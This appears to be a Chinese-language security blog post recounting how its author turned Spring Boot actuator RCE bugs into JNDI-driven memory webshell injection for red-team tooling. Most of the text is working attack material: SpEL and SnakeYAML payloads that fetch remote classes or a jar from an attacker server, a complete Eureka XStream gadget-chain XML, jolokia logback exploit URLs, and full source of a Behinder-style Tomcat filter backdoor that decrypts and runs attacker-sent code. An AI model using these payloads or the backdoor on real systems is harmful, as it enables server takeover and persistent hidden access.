Spring Boot RCE到記憶體馬探索
前言
SpringBootVulExploit 是Spring Boot漏洞Check list,但在真正的環境中進行漏洞利用還是有一段距離的,因此衍生出了SpringBootExploit工具。本文是對該Check list到記憶體馬探索之路的記錄。再此過程中學到了很多知識,收穫了很多,感謝神父hl0rey對我指導,才有工具誕生。
本文內容是筆者在看雪大會上演講的內容之一,本文應該在很早之前就發了,拖拖拉拉一直到現在。
漏洞歸類
Check list一共給出了十二種方法,我們首先歸類一下,看有那些共同點。
- JNDI注入
- 0x04:jolokia logback JNDI RCE
- 0x05:jolokia Realm JNDI RCE
- 0x07:h2 database console JNDI RCE
- Restart
- 0x06:restart h2 database query RCE
- 0x09:restart logging.config logback JNDI RCE
- 0x0A:restart logging.config groovy RCE
- 0x0B:restart spring.main.sources groovy RCE
- 0x0C:restart spring.datasource.data h2 database RCE
- 其他
- 0x01:whitelabel error page SpEL RCE
- 0x02:spring cloud SnakeYAML RCE
- 0x03:eureka xstream deserialization RCE
- 0x08:mysql jdbc deserialization RCE
分類標準,第一類是都可以直接使用JNDI注入的,第二類是都會將目標環境重啟啟動的,第三類是無法直接利用JNDI注入的。
第一類
第一類是最容易實現的JNDI記憶體馬注入的,遇到的問題也是最少的。
第二類
第二類是都需要對環境進行重啟操作,在測試過程中很容易對環境造成不可逆的後果。所以對此並沒有進行整合,未來也不會整合。
第三類
第三類是無法直接利用JNDI,並且Check list說明裡面都是反彈shell、彈計算器之類操作,這對於紅隊的是意義很小。
漏洞規範化
寫工具首先得每一個漏洞的Payload進行規範,目前支援所有的方式就是將第三類轉化支援JNDI注入的方式。將第三類漏洞進行轉化是繁瑣的工作,每一個漏洞目前網上公開的文章都是基於check list編寫的。此過程中遇到很多問題,一度曾放棄幾種方式。一開始設想過支援回顯,但後來發現,反序列化執行操作都是用伺服器發起了,無法做到回顯,壓根行不通。所有後面只做了記憶體馬,目前只支援一種記憶體馬後期會考慮支援更多型別的記憶體馬。
whitelabel error page SpEL RCE
SpEL RCE 最大問題就是如何用一句話的方式實現JNDI的方式。在**天下大木頭**的指導下我獲得提示:
javax.naming.InitialContext context = new InitialContext(); context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");
根據上面嘗試,在測試的過程遇到某名奇妙的一些問題。
public class spel { public static void main(String[] args) { String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()"; String rmi = "T(javax.naming.InitialContext).lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")"; String ldap = "new javax.naming.InitialContext().lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")"; String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))"; String poc2 = "java.lang.Class.forName(\"javax.naming.InitialContext\").getMethod(\"lookup\", String.class).invoke(Class.forName(\"javax.naming.InitialContext\").newInstance(),\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")"; SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(rmi); StandardEvaluationContext context = new StandardEvaluationContext(); expression.getValue(context); } }
使用payload rmi時會報找不到lookup方法
使用payload poc2也報錯
最終透過不斷嘗試payload ldap是有效。但這個漏洞利用方式沒在工具裡整合,是因為SpEL漏洞存在有很多種情況,無法做到考慮完全,如果你發現此漏洞可以用該工具生成Payload打。
Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload ${new javax.naming.InitialContext().lookup(new String(new byte[]{ 0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,0x6c,0x33 }))}
payload生成程式碼:
public String SpelExpr(String cmd){ String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ "; StringBuilder sb = new StringBuilder(); char[] ch = cmd.toCharArray(); for (int i=0 ; i<ch.length; i++){ sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue())); if (i != ch.length -1 ){ sb.append(","); } } ldap += sb.append(" }))}").toString(); System.out.println(ldap); return ldap; }
spring cloud SnakeYAML RCE
SnakeYaml RCE處理的比較特殊,一開始嘗試轉化JNDI的方法測試失敗。JNDI注入其實是可以的,後期成功,但有一個問題POST /refresh的時候會返回500,但注入是成功的(注入不成功也是,所以是無法很好的判斷)。使用check list中的jar方式返回是200。工具裡面採用的是jar的方式,會判斷是否注入成功。
直接JNDI注入的程式碼。
String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + " dataSourceName: \"ldap://127.0.0.1:1389/basic/TomcatMemShell3\"\n" + " autoCommit: true";
伺服器遠端載入jar,但這裡有一個點,生成的jar要符合規範。和傳統的打包方式不一樣,這裡要滿足某種規範(具體忘記了)artsploit/yaml-payload Y4er/yaml-payload 這裡給出兩個專案參考生成包含記憶體馬jar。
String bytes = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:3456/behinder3.jar\"]\n" + " ]]\n" + "]\n";
eureka xstream deserialization RCE
eureka xstream 反序列化漏洞本質是xstream反序列化漏洞,但有一點和傳統XStream漏洞利用有區別的是,eureka處理不了hashmap。得重新構造EXP。
This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a custom converter for maps which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints.
在exploiting-spring-boot-actuators中寫上面這段說明,大致意思就是eureka中不能使用hashmap,得替換成LinkedHashSet 。網上流傳的XStream的payload都是基於hashmap的,原文給的payload以及check list的payload都是彈計算器,不能進一步的深入利用。如何構造轉化成JNDI這一問題擺在我們面前,一開始踩了很多坑,後來發現YSOMAP裡面整合了這個Payload。ysomap的使用方法大致類似於msf,如下圖。
但生成的payload得小改一下(將HashMap改成LinkedHashSet ),經過多次測試最終成形的payload如下:
<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="com.sun.rowset.JdbcRowSetImpl" serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://127.0.0.1:10990/Calc</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </linked-hash-set>
目前沒有整合這個漏洞,因為伺服器端要構造一個flask框架的服務端,內容包含上面的xml檔案。
目前實現方式
- Java直接實現Flask框架 沒有現成的方式(放棄)
- Java直接呼叫命令執行python檔案(失敗,Java呼叫Runtime和cmd直接呼叫是有區別的)
- 使用jython執行python檔案,指令碼依賴flask依賴。要加入flask目錄(不符合需求)
mysql jdbc deserialization RCE
此漏洞利用極其複雜,條件要求較多。
- 需要確認存在mysql驅動
- 版本需要5.x或者8.x
- 需要存在gadget依賴
- 記錄原本的spring.datasource.url 的value,最後恢復
- 需要架設惡意rogue mysql server
成功率低,需要多,故目前沒整合(後期可能會整合)。
jolokia logback JNDI RCE
Payload
String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps + ":3456!/a.xml";
a.xml
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":1389/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
jolokia Realm JNDI RCE
這個RCE利用方式和上面一個差不多,存在jolokia logback JNDI RCE大機率存在jolokia Realm JNDI RCE漏洞,這裡就不詳細展開。
h2 database console JNDI RCE
服務端
所有的漏洞都是要使用JNDI和HTTP服務,如果每一個都是攻擊者進行使用將漏洞Payload進行適配,這會使得攻擊者使用成本和時間成本就大大增大了,這也不能達到一鍵化,自動化的目的。一個適配所有漏洞的服務端的工具就由此而生,在神父的幫助下,找到了專案JNDIExploit。
專案解決了大部分功能,以及框架等問題,這也使得工具很快的得到階段性的進展。
工具需求:
- 處理客戶端傳送的Payload請求,返回對應內容。
以jolokia logback JNDI RCE型別為例:
客戶端要請求xx.xml檔案,返回如下內容
<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /> </configuration>
2. 定製記憶體馬
和傳統記憶體馬注入有區別,JNDI是返回Class檔案,直接例項化類。所以得定製化JNDI注入的記憶體馬類檔案,記憶體馬原始碼如下。
package com.feihong.ldap.template; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; import org.apache.coyote.RequestInfo; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import java.io.IOException; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.MessageDigest; import java.util.EnumSet; import java.util.HashMap; import java.util.List; import java.util.Map; public class BehinderFilter extends ClassLoader implements Filter{ public String cs = "UTF-8"; // public String pwd = "eac9fa38330a7535"; public String pwd = "02f2a5c80f47d495"; public String path = "/ateam"; public String filterName = "ateam666"; public Request req = null; public Response resp = null; static { try { BehinderFilter behinderMemShell = new BehinderFilter(); if (behinderMemShell.req != null && behinderMemShell.resp != null){ behinderMemShell.addFilter(); } } catch (Exception e){ } } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public String md5(String s) { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16); } catch (Exception var4) { } return ret; } public BehinderFilter() { this.setParams(); } public BehinderFilter(ClassLoader c) { super(c); this.setParams(); } public void setParams(){ try { boolean flag = false; Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads"); for (int i=0;i<threads.length;i++){ Thread thread = threads[i]; if (thread != null){ String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")){ Object target = getField(thread,"target"); Object global = null; if (target instanceof Runnable){ try { global = getField(getField(getField(target,"this$0"),"handler"),"global"); } catch (NoSuchFieldException fieldException){ fieldException.printStackTrace(); } } if (global != null){ List processors = (List) getField(global,"processors"); for (i=0;i<processors.size();i++){ RequestInfo requestInfo = (RequestInfo) processors.get(i); if (requestInfo != null){ org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) getField(requestInfo,"req"); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); Response response = request.getResponse(); this.req = request; this.resp = response; flag = true; break; } } } } } if (flag){ break; } } } catch (Exception e){ e.printStackTrace(); } } public String addFilter() throws Exception { ServletContext servletContext = this.req.getServletContext(); Filter filter = this; String filterName = this.filterName; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { Field contextField = null; ApplicationContext applicationContext = null; StandardContext standardContext = null; Field stateField = null; FilterRegistration.Dynamic filterRegistration = null; String var11; try { contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); applicationContext = (ApplicationContext)contextField.get(servletContext); contextField = applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); standardContext = (StandardContext)contextField.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(filterName, filter); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[])null); stateField.set(standardContext, LifecycleState.STARTED); var11 = null; Class filterMap; try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception var22) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"); Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext))); for(int i = 0; i < filterMaps.length; ++i) { Object filterMapObj = filterMaps[i]; findFilterMaps = filterMap.getMethod("getFilterName"); String name = (String)findFilterMaps.invoke(filterMapObj); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } String var25 = "Success"; String var26 = var25; return var26; } catch (Exception var23) { var11 = var23.getMessage(); } finally { stateField.set(standardContext, LifecycleState.STARTED); } return var11; } else { return "Filter already exists"; } } public static Object getField(Object obj, String fieldName) throws Exception { Field f0 = null; Class clas = obj.getClass(); while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } } if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpSession session = ((HttpServletRequest)req).getSession(); Map obj = new HashMap(); obj.put("request", req); obj.put("response", resp); obj.put("session", session); try { session.putValue("u", this.pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pwd.getBytes(), "AES")); (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); } catch (Exception var5) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object)null); return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); } } @Override public void destroy() { } }
總結
可能是大多數人沒有需求,或者是安全研究員沒有打紅隊的原因。導致利用方式普遍都是以彈計算器為最終結果,不能進一步深入利用,導致很多漏洞不了了之。目前網上普遍分析文章,復現文章都是以彈計算器結束,但這其實與實戰化的需求還存在著很遠的一段路程。
寫工具的時候遇到很多奇奇怪怪的問題,如果這些漏洞都能以高階漏洞利用的方式,或者不是執行命令但計算器的方式結束,其實會好很多。當然這些漏洞目前都是間接或者直接轉化成JNDI的方式進行漏洞利用,這雖然也存在一定的侷限性。但我覺得這是一個開端,後續有人肯定有跟多的奇思妙想的解決方案。
參考
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://github.com/LandGrey/SpringBootVulExploit
https://github.com/wh1t3p1g/ysomap
相關文章
- 金蝶erp反序列化RCE+哥斯拉記憶體馬2024-11-18記憶體
- Java安全之Spring記憶體馬2022-01-10JavaSpring記憶體
- 針對Spring MVC的Interceptor記憶體馬2021-06-07SpringMVC記憶體
- Spring Boot heapdump洩露記憶體分析方法2024-06-06Spring Boot記憶體
- spring-boot記錄sql探索2021-03-16SpringbootSQL
- Spring Boot 和 Spring Cloud 應用記憶體如何管理?2020-04-19Spring BootCloud記憶體
- tomcat記憶體馬2024-09-02Tomcat記憶體
- 探索Java記憶體模型2018-11-23Java記憶體模型
- 探索iOS記憶體分配2018-01-25iOS記憶體
- 深入淺出記憶體馬(一)2021-07-12記憶體
- 虛擬記憶體到實體記憶體(32位)2015-01-07記憶體
- Java安全之Weblogic記憶體馬2021-06-30JavaWeb記憶體
- Tomcat 記憶體馬(一)Listener型2021-11-05Tomcat記憶體
- Tomcat 記憶體馬(二)Filter型2021-11-06Tomcat記憶體Filter
- iOS記憶體深入探索之VM Tracker2019-02-27iOS記憶體
- 探索MYSQL開啟大頁記憶體2024-03-01MySql記憶體
- 探索JVM的垃圾回收(堆記憶體)2024-10-04JVM記憶體
- C++記憶體模型實踐探索2024-10-18C++記憶體模型
- spring boot (whitelabel error page SpEL RCE) 漏洞復現2021-09-16Spring BootError
- Spring Boot整合Hazelcast實現叢集與分散式記憶體快取2019-02-28Spring BootAST分散式記憶體快取
- 減少Spring Boot的JVM記憶體佔用的Docker三種配置2019-04-13Spring BootJVM記憶體Docker
- 針對spring mvc的controller記憶體馬-學習和實驗2021-05-28SpringMVCController記憶體
- iOS探索 記憶體對齊&malloc原始碼2020-01-02iOS記憶體原始碼
- golang 釋放記憶體機制的探索2019-03-04Golang記憶體
- 【免殺技術】Tomcat記憶體馬-Filter2022-02-04Tomcat記憶體Filter
- Spring Boot引起的“堆外記憶體洩漏”排查及經驗總結2019-01-04Spring Boot記憶體
- 《深度探索c++記憶體模型》讀書筆記 (二)2020-10-17C++記憶體模型筆記
- dump檔案解析之探索.Net的記憶體2018-09-26記憶體
- Swift記憶體賦值探索一: 理解物件在記憶體中的儲存狀態2018-03-16Swift記憶體賦值物件
- django 快取表格到記憶體2024-09-20Django快取記憶體
- 如何將開發環境的 Spring Boot 應用程式記憶體降低 40% 以上2024-01-15開發環境Spring Boot記憶體
- 請給Sprint Boot多一些記憶體2019-03-14boot記憶體
- 鐵威馬NAS如何使用SSD快取記憶體?2019-06-06快取記憶體
- Spring Boot 記錄2018-09-05Spring Boot
- spring boot 筆記2017-08-12Spring Boot筆記
- Spring Boot學習筆記:Spring Boot核心配置2020-11-23Spring Boot筆記
- 雲音樂 Android 記憶體監控探索篇2023-02-09Android記憶體
- 增大oracle記憶體到16g2010-09-14Oracle記憶體